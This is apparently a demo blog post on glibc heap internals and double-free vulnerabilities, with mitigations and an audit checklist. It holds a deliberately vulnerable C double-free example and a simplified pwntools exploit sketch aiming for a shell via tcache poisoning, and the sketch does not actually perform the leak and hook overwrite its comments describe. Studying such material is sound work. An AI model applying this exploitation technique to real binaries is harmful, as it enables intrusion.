Deep Dive: Hunting Heap Overflows in ELF Binaries
An in-depth analysis of glibc allocator dynamics, heap chunk structures, and exploiting classic double-free & heap corruption vulnerabilities, rebuilt as a fully-featured demo to showcase every blog primitive: TOC progress, marginalia, callouts, figures, code, tables, footnotes and more.
Introduction #
Unlike stack-based buffer overflows, heap-based vulnerabilities reside in the dynamically allocated memory region managed by standard allocators such as glibc's ptmalloc2. Understanding heap layout and chunk metadata is paramount to auditing ELF binaries for memory corruption.[1]
This post is intentionally kitchen-sink: every typographic primitive the blog supports is exercised here on a single deep-dive so you can see the left progress index, right marginalia, and all text-box variants in one scroll.
The Anatomy of a Heap Chunk #
In 64-bit glibc, every allocated block is 16-byte aligned and represented by a contiguous chunk header that prefixes user data. The header stores size + flags that drive coalescing and binning.
prev_size | size | AMP | user_data. When freed, the user area is repurposed as forward/back pointers linking free lists (bins/tcache).Chunk flags, AMP bits #
The lowest 3 bits of size are flags, not size:
| Bit | Mask | Name | Meaning |
|---|---|---|---|
| A | 0x4 | NON_MAIN_ARENA | Allocated off the main arena (thread arena) |
| M | 0x2 | IS_MMAPPED | Chunk mmapped, not in heap segment |
| P | 0x1 | PREV_INUSE | Prev chunk in use; if 0, prev_size is valid |
/* Schematic, allocated chunk (64-bit) */
+-----------------------------+-----------------------------+
| Previous Chunk Size | Current Chunk size |AMP|
+-----------------------------+-----------------------------+
| User Data Area |
| (returns to malloc) |
+-----------------------------------------------------------+
/* When free, user area holds fd/bk pointers */“Judgement has always been easier than construction. AI just made it legible.” In heap auditing, judgement is spotting a plausible free; craft is proving overlap.Marginal note pattern
The Double-Free Vulnerability #
When a chunk is freed twice without clearing the pointer, bin structures (fastbins / tcache) can form cycles or duplicate references to the same slot. Later malloc returns the same address twice, two live pointers to one region.
Example: vulnerable C #
#include <stdio.h>
#include <stdlib.h>
int main() {
void *p1 = malloc(64);
void *p2 = malloc(64);
free(p1);
free(p2);
free(p1); // Vulnerable double free!
void *p3 = malloc(64); // Allocates p1 again
void *p4 = malloc(64); // Allocates p2
void *p5 = malloc(64); // Allocates p1 AGAIN (overlaps p3!)
// p3 and p5 now alias, write to one corrupts the other
}tcache double free or corruption). Bypass requires more nuanced heap feng shui, e.g., consolidations, large-bin attacks, or House of * techniques. This demo shows the classic primitive.free call sites, then taint-track pointers that aren't nulled post-free. A single free(ptr); ptr=NULL; pattern missing is a heatmap for double-free candidates.tcache & Modern Hardening #
Thread-local caching (tcache) speeds up small allocations but creates new abuse surfaces: poisoning the singly-linked tcache freelist lets an attacker craft an arbitrary-chunk allocation.
Recall #
- Heap chunks carry
prev_size / size+AMP / fd,bk, misinterpreting flags breaks analysis. - Double-free re-introduces the same chunk to a freelist, yielding aliased live pointers.
- tcache changed heap exploitation from deterministic to count-sensitive grooming.
- Missing
ptr = NULLafter free is the cheapest inter-procedural signal.
Exploitation Lab #
Let's weaponize the primitive with pwntools. We groom the heap, leak a libc pointer from unsorted bin, then overwrite __free_hook via tcache poisoning. Numbers simplified for demo.
from pwn import *
p = process('./vuln')
# groom: allocate 7 chunks to empty tcache bin
chunks = [p.sendlineafter(b'> ', b'1') for _ in range(7)]
for c in chunks: p.sendlineafter(b'> ', b'2') # free all -> tcache filled
p.sendlineafter(b'> ', b'2') # double free trigger
# leak
p.sendlineafter(b'> ', b'3')
libc_leak = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success(f'libc leak: {hex(libc_leak)}')
# tcache poison -> arbitrary write
p.sendlineafter(b'> ', b'4')
p.sendline(b'/bin/sh\x00')
p.interactive()Visualising corruption #
p1, keep pointer, malloc same size, write controlled data, read-after-free leaks, write-after-free corrupts. Same visual model, subtler trigger.Mitigations & Fixes #
Remediation is both cultural (null after free) and toolchain-driven (hardened allocators, fortify).
| Layer | Mechanism | Cost |
|---|---|---|
| Code | free(ptr); ptr=NULL;, single statement fix | Near zero |
| Compiler | -D_FORTIFY_SOURCE=2 / -fstack-protector | Recompile |
| Allocator | Safe unlink, tcache key, safe linking | Upgrade glibc |
| Runtime | ASLR, PIE, heap tagging (MTE) | Platform |
As a checklist when you audit a C codebase for heap hygiene:
- Trace every
mallocto itsfree, flag unpaired frees. - Enforce
free; nullidiom via clang-tidy rule. - Fuzz with AddressSanitizer, double-free is caught as
attempting double-free. - Ship with hardened allocator in prod if latency allows.
Up next, automatic exploit synthesis with pwntools + GDB GEF. This kitchen-sink article stays as the demo for all blog primitives, left index, marginalia, callouts, code, figures, tables, footnotes.